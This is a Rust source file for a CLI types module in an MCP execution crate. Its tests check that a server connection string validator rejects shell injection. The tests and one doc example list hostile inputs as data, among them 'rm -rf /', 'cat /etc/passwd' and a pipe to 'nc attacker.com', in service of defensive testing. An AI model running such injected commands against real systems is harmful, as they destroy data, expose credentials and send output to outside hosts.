Skip to main content

mcp_execution_core/
cli.rs

1//! CLI-specific types and utilities.
2//!
3//! This module provides strong types for CLI concepts following Microsoft Rust
4//! Guidelines, ensuring type safety and clear intent throughout the CLI codebase.
5//!
6//! # Design Principles
7//!
8//! - Strong types over primitives (no raw strings/ints for domain concepts)
9//! - All types are `Send + Sync + Debug`
10//! - Validation at construction boundaries
11//! - User-friendly error messages
12//!
13//! # Examples
14//!
15//! ```
16//! use mcp_execution_core::cli::{OutputFormat, ExitCode, ServerConnectionString};
17//! use std::path::PathBuf;
18//!
19//! // Output format selection
20//! let format = OutputFormat::Pretty;
21//! assert_eq!(format.as_str(), "pretty");
22//!
23//! // Exit codes with semantic meaning
24//! let code = ExitCode::SUCCESS;
25//! assert_eq!(code.as_i32(), 0);
26//!
27//! // Validated server connection strings
28//! let conn = ServerConnectionString::new("github").unwrap();
29//! assert_eq!(conn.as_str(), "github");
30//! ```
31
32use std::fmt;
33use std::str::FromStr;
34
35/// CLI output format.
36///
37/// Determines how command results are formatted for user display.
38/// All formats provide the same information but with different presentation.
39///
40/// # Examples
41///
42/// ```
43/// use mcp_execution_core::cli::OutputFormat;
44///
45/// let format = OutputFormat::Json;
46/// assert_eq!(format.as_str(), "json");
47///
48/// let format: OutputFormat = "pretty".parse().unwrap();
49/// assert_eq!(format, OutputFormat::Pretty);
50/// ```
51#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53    /// JSON output for machine parsing
54    Json,
55    /// Plain text output for scripts
56    Text,
57    /// Pretty-printed output with colors for human reading
58    #[default]
59    Pretty,
60}
61
62impl OutputFormat {
63    /// Returns the string representation of the format.
64    ///
65    /// # Examples
66    ///
67    /// ```
68    /// use mcp_execution_core::cli::OutputFormat;
69    ///
70    /// assert_eq!(OutputFormat::Json.as_str(), "json");
71    /// assert_eq!(OutputFormat::Text.as_str(), "text");
72    /// assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
73    /// ```
74    #[must_use]
75    pub const fn as_str(&self) -> &'static str {
76        match self {
77            Self::Json => "json",
78            Self::Text => "text",
79            Self::Pretty => "pretty",
80        }
81    }
82}
83
84impl fmt::Display for OutputFormat {
85    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86        f.write_str(self.as_str())
87    }
88}
89
90impl FromStr for OutputFormat {
91    type Err = crate::Error;
92
93    fn from_str(s: &str) -> Result<Self, Self::Err> {
94        match s.to_lowercase().as_str() {
95            "json" => Ok(Self::Json),
96            "text" => Ok(Self::Text),
97            "pretty" => Ok(Self::Pretty),
98            _ => Err(crate::Error::InvalidArgument(format!(
99                "invalid output format: '{s}' (expected: json, text, or pretty)"
100            ))),
101        }
102    }
103}
104
105/// CLI exit code with semantic meaning.
106///
107/// Provides type-safe exit codes following Unix conventions.
108/// Success is 0, errors are non-zero with specific meanings.
109///
110/// # Examples
111///
112/// ```
113/// use mcp_execution_core::cli::ExitCode;
114///
115/// let code = ExitCode::SUCCESS;
116/// assert_eq!(code.as_i32(), 0);
117/// assert!(code.is_success());
118///
119/// let code = ExitCode::from_i32(1).unwrap();
120/// assert!(!code.is_success());
121///
122/// // Outside the valid process exit code range (0..=255) is rejected.
123/// assert!(ExitCode::from_i32(-1).is_none());
124/// assert!(ExitCode::from_i32(256).is_none());
125/// ```
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
127pub struct ExitCode(i32);
128
129impl ExitCode {
130    /// Successful execution (exit code 0).
131    ///
132    /// # Examples
133    ///
134    /// ```
135    /// use mcp_execution_core::cli::ExitCode;
136    ///
137    /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
138    /// ```
139    pub const SUCCESS: Self = Self(0);
140
141    /// General error (exit code 1).
142    ///
143    /// # Examples
144    ///
145    /// ```
146    /// use mcp_execution_core::cli::ExitCode;
147    ///
148    /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
149    /// ```
150    pub const ERROR: Self = Self(1);
151
152    /// Invalid input or arguments (exit code 2).
153    ///
154    /// # Examples
155    ///
156    /// ```
157    /// use mcp_execution_core::cli::ExitCode;
158    ///
159    /// assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
160    /// ```
161    pub const INVALID_INPUT: Self = Self(2);
162
163    /// Server connection or communication error (exit code 3).
164    ///
165    /// # Examples
166    ///
167    /// ```
168    /// use mcp_execution_core::cli::ExitCode;
169    ///
170    /// assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
171    /// ```
172    pub const SERVER_ERROR: Self = Self(3);
173
174    /// Execution timeout or resource limit exceeded (exit code 4).
175    ///
176    /// # Examples
177    ///
178    /// ```
179    /// use mcp_execution_core::cli::ExitCode;
180    ///
181    /// assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
182    /// ```
183    pub const TIMEOUT: Self = Self(4);
184
185    /// Creates an exit code from an integer value.
186    ///
187    /// Returns `None` if `code` falls outside `0..=255`. This is not a universal OS-level
188    /// ceiling — on Unix, `std::process::exit` truncates its argument to the low 8 bits, but
189    /// on Windows it delivers the full `i32` to the parent process via `ExitProcess` — so
190    /// `0..=255` is this API's own deliberate choice (matching every named const this type
191    /// already defines, and the conventional Unix exit-code range this CLI targets), not
192    /// something every platform enforces for it. Rejecting an out-of-range value here surfaces
193    /// a construction mistake immediately rather than silently producing an [`ExitCode`] whose
194    /// reported value could be misleading once actually reported to the OS.
195    ///
196    /// # Examples
197    ///
198    /// ```
199    /// use mcp_execution_core::cli::ExitCode;
200    ///
201    /// let code = ExitCode::from_i32(0).unwrap();
202    /// assert_eq!(code, ExitCode::SUCCESS);
203    ///
204    /// assert!(ExitCode::from_i32(-1).is_none());
205    /// assert!(ExitCode::from_i32(256).is_none());
206    /// ```
207    #[must_use]
208    pub const fn from_i32(code: i32) -> Option<Self> {
209        if matches!(code, 0..=255) {
210            Some(Self(code))
211        } else {
212            None
213        }
214    }
215
216    /// Returns the exit code as an integer.
217    ///
218    /// # Examples
219    ///
220    /// ```
221    /// use mcp_execution_core::cli::ExitCode;
222    ///
223    /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
224    /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
225    /// ```
226    #[must_use]
227    pub const fn as_i32(&self) -> i32 {
228        self.0
229    }
230
231    /// Checks if the exit code represents success.
232    ///
233    /// # Examples
234    ///
235    /// ```
236    /// use mcp_execution_core::cli::ExitCode;
237    ///
238    /// assert!(ExitCode::SUCCESS.is_success());
239    /// assert!(!ExitCode::ERROR.is_success());
240    /// ```
241    #[must_use]
242    pub const fn is_success(&self) -> bool {
243        self.0 == 0
244    }
245}
246
247impl Default for ExitCode {
248    fn default() -> Self {
249        Self::SUCCESS
250    }
251}
252
253impl From<ExitCode> for i32 {
254    fn from(code: ExitCode) -> Self {
255        code.0
256    }
257}
258
259impl fmt::Display for ExitCode {
260    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
261        write!(f, "{}", self.0)
262    }
263}
264
265/// Validated MCP server connection string.
266///
267/// Ensures server identifiers are non-empty and contain only valid characters.
268/// This prevents command injection and path traversal attacks.
269///
270/// # Security
271///
272/// - Rejects empty strings
273/// - Rejects strings with null bytes
274/// - Trims whitespace
275///
276/// # Examples
277///
278/// ```
279/// use mcp_execution_core::cli::ServerConnectionString;
280///
281/// let conn = ServerConnectionString::new("github").unwrap();
282/// assert_eq!(conn.as_str(), "github");
283///
284/// // Empty strings are rejected
285/// assert!(ServerConnectionString::new("").is_err());
286///
287/// // Whitespace is trimmed
288/// let conn = ServerConnectionString::new("  server  ").unwrap();
289/// assert_eq!(conn.as_str(), "server");
290/// ```
291#[derive(Debug, Clone, PartialEq, Eq, Hash)]
292pub struct ServerConnectionString(String);
293
294impl ServerConnectionString {
295    /// Creates a new validated server connection string.
296    ///
297    /// # Security
298    ///
299    /// This function validates input to prevent command injection attacks:
300    /// - Only allows alphanumeric characters and `-_./:` for safe server identifiers
301    /// - Rejects shell metacharacters (`&`, `|`, `;`, `$`, `` ` ``, etc.)
302    /// - Rejects control characters to prevent CRLF injection
303    /// - Length limited to 256 characters
304    ///
305    /// # Errors
306    ///
307    /// Returns an error if:
308    /// - The string is empty after trimming
309    /// - The string contains invalid characters
310    /// - The string contains control characters
311    /// - The string exceeds 256 characters
312    ///
313    /// # Examples
314    ///
315    /// ```
316    /// use mcp_execution_core::cli::ServerConnectionString;
317    ///
318    /// let conn = ServerConnectionString::new("my-server")?;
319    /// assert_eq!(conn.as_str(), "my-server");
320    ///
321    /// // Shell metacharacters are rejected for security
322    /// assert!(ServerConnectionString::new("server && rm -rf /").is_err());
323    /// # Ok::<(), mcp_execution_core::Error>(())
324    /// ```
325    pub fn new(s: impl Into<String>) -> crate::Result<Self> {
326        // Define allowed characters: alphanumeric, hyphen, underscore, dot, slash, colon
327        // This prevents command injection while allowing common server identifiers
328        const ALLOWED_CHARS: &str =
329            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
330
331        let s = s.into();
332
333        // Check for control characters BEFORE trimming to prevent CRLF injection
334        if s.chars().any(|c| c.is_control() && c != ' ') {
335            return Err(crate::Error::InvalidArgument(
336                "server connection string cannot contain control characters".to_string(),
337            ));
338        }
339
340        let trimmed = s.trim();
341
342        if trimmed.is_empty() {
343            return Err(crate::Error::InvalidArgument(
344                "server connection string cannot be empty".to_string(),
345            ));
346        }
347
348        // Reject shell metacharacters to prevent command injection
349        if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
350            return Err(crate::Error::InvalidArgument(
351                "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
352            ));
353        }
354
355        if trimmed.len() > 256 {
356            return Err(crate::Error::InvalidArgument(
357                "server connection string too long (max 256 characters)".to_string(),
358            ));
359        }
360
361        Ok(Self(trimmed.to_string()))
362    }
363
364    /// Returns the connection string as a string slice.
365    ///
366    /// # Examples
367    ///
368    /// ```
369    /// use mcp_execution_core::cli::ServerConnectionString;
370    ///
371    /// let conn = ServerConnectionString::new("server")?;
372    /// assert_eq!(conn.as_str(), "server");
373    /// # Ok::<(), mcp_execution_core::Error>(())
374    /// ```
375    #[must_use]
376    pub fn as_str(&self) -> &str {
377        &self.0
378    }
379}
380
381impl fmt::Display for ServerConnectionString {
382    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
383        write!(f, "{}", self.0)
384    }
385}
386
387impl FromStr for ServerConnectionString {
388    type Err = crate::Error;
389
390    fn from_str(s: &str) -> Result<Self, Self::Err> {
391        Self::new(s)
392    }
393}
394
395#[cfg(test)]
396mod tests {
397    use super::*;
398
399    // OutputFormat tests
400    #[test]
401    fn test_output_format_as_str() {
402        assert_eq!(OutputFormat::Json.as_str(), "json");
403        assert_eq!(OutputFormat::Text.as_str(), "text");
404        assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
405    }
406
407    #[test]
408    fn test_output_format_default() {
409        assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
410    }
411
412    #[test]
413    fn test_output_format_from_str_valid() {
414        assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
415        assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
416        assert_eq!(
417            "pretty".parse::<OutputFormat>().unwrap(),
418            OutputFormat::Pretty
419        );
420
421        // Case insensitive
422        assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
423        assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
424        assert_eq!(
425            "PRETTY".parse::<OutputFormat>().unwrap(),
426            OutputFormat::Pretty
427        );
428    }
429
430    #[test]
431    fn test_output_format_from_str_invalid() {
432        assert!("invalid".parse::<OutputFormat>().is_err());
433        assert!("".parse::<OutputFormat>().is_err());
434        assert!("xml".parse::<OutputFormat>().is_err());
435    }
436
437    #[test]
438    fn test_output_format_display() {
439        assert_eq!(OutputFormat::Json.to_string(), "json");
440        assert_eq!(OutputFormat::Text.to_string(), "text");
441        assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
442    }
443
444    // ExitCode tests
445    #[test]
446    fn test_exit_code_constants() {
447        assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
448        assert_eq!(ExitCode::ERROR.as_i32(), 1);
449        assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
450        assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
451        assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
452    }
453
454    #[test]
455    fn test_exit_code_from_i32() {
456        assert_eq!(ExitCode::from_i32(0), Some(ExitCode::SUCCESS));
457        assert_eq!(ExitCode::from_i32(1), Some(ExitCode::ERROR));
458        assert_eq!(ExitCode::from_i32(42).unwrap().as_i32(), 42);
459    }
460
461    #[test]
462    fn test_exit_code_from_i32_rejects_out_of_range() {
463        assert_eq!(ExitCode::from_i32(-1), None);
464        assert_eq!(ExitCode::from_i32(256), None);
465        assert_eq!(ExitCode::from_i32(i32::MIN), None);
466        assert_eq!(ExitCode::from_i32(i32::MAX), None);
467    }
468
469    #[test]
470    fn test_exit_code_from_i32_accepts_boundaries() {
471        assert_eq!(ExitCode::from_i32(0).unwrap().as_i32(), 0);
472        assert_eq!(ExitCode::from_i32(255).unwrap().as_i32(), 255);
473    }
474
475    #[test]
476    fn test_exit_code_is_success() {
477        assert!(ExitCode::SUCCESS.is_success());
478        assert!(!ExitCode::ERROR.is_success());
479        assert!(!ExitCode::INVALID_INPUT.is_success());
480        assert!(!ExitCode::from_i32(42).unwrap().is_success());
481    }
482
483    #[test]
484    fn test_exit_code_default() {
485        assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
486    }
487
488    #[test]
489    fn test_exit_code_into_i32() {
490        let code = ExitCode::ERROR;
491        let value: i32 = code.into();
492        assert_eq!(value, 1);
493    }
494
495    #[test]
496    fn test_exit_code_display() {
497        assert_eq!(ExitCode::SUCCESS.to_string(), "0");
498        assert_eq!(ExitCode::ERROR.to_string(), "1");
499    }
500
501    // ServerConnectionString tests
502    #[test]
503    fn test_server_connection_string_valid() {
504        let conn = ServerConnectionString::new("github").unwrap();
505        assert_eq!(conn.as_str(), "github");
506
507        let conn = ServerConnectionString::new("my-server-123").unwrap();
508        assert_eq!(conn.as_str(), "my-server-123");
509    }
510
511    #[test]
512    fn test_server_connection_string_trims_whitespace() {
513        let conn = ServerConnectionString::new("  server  ").unwrap();
514        assert_eq!(conn.as_str(), "server");
515
516        // Control characters (other than space) are rejected before trimming
517        assert!(ServerConnectionString::new("\tserver\n").is_err());
518    }
519
520    #[test]
521    fn test_server_connection_string_rejects_empty() {
522        assert!(ServerConnectionString::new("").is_err());
523        assert!(ServerConnectionString::new("   ").is_err());
524        assert!(ServerConnectionString::new("\t\n").is_err());
525    }
526
527    #[test]
528    fn test_server_connection_string_from_str() {
529        let conn: ServerConnectionString = "server".parse().unwrap();
530        assert_eq!(conn.as_str(), "server");
531
532        assert!("".parse::<ServerConnectionString>().is_err());
533    }
534
535    #[test]
536    fn test_server_connection_string_display() {
537        let conn = ServerConnectionString::new("test-server").unwrap();
538        assert_eq!(conn.to_string(), "test-server");
539    }
540
541    // Security tests for command injection prevention
542    #[test]
543    fn test_server_connection_string_command_injection() {
544        // Shell metacharacters should be rejected
545        assert!(ServerConnectionString::new("server && rm -rf /").is_err());
546        assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
547        assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
548        assert!(ServerConnectionString::new("server $(malicious)").is_err());
549        assert!(ServerConnectionString::new("server `whoami`").is_err());
550        assert!(ServerConnectionString::new("server & background").is_err());
551    }
552
553    #[test]
554    fn test_server_connection_string_control_chars() {
555        // Control characters should be rejected (CRLF injection)
556        assert!(ServerConnectionString::new("server\r\n").is_err());
557        assert!(ServerConnectionString::new("server\0").is_err());
558        assert!(ServerConnectionString::new("server\t").is_err());
559    }
560
561    #[test]
562    fn test_server_connection_string_valid_chars() {
563        // These should still be valid
564        assert!(ServerConnectionString::new("github").is_ok());
565        assert!(ServerConnectionString::new("my_server").is_ok());
566        assert!(ServerConnectionString::new("server-123").is_ok());
567        assert!(ServerConnectionString::new("localhost:8080").is_ok());
568        assert!(ServerConnectionString::new("example.com/path").is_ok());
569    }
570
571    #[test]
572    fn test_server_connection_string_length_limit() {
573        // 256 characters should be allowed
574        let valid = "a".repeat(256);
575        assert!(ServerConnectionString::new(&valid).is_ok());
576
577        // 257 characters should be rejected
578        let too_long = "a".repeat(257);
579        assert!(ServerConnectionString::new(&too_long).is_err());
580    }
581}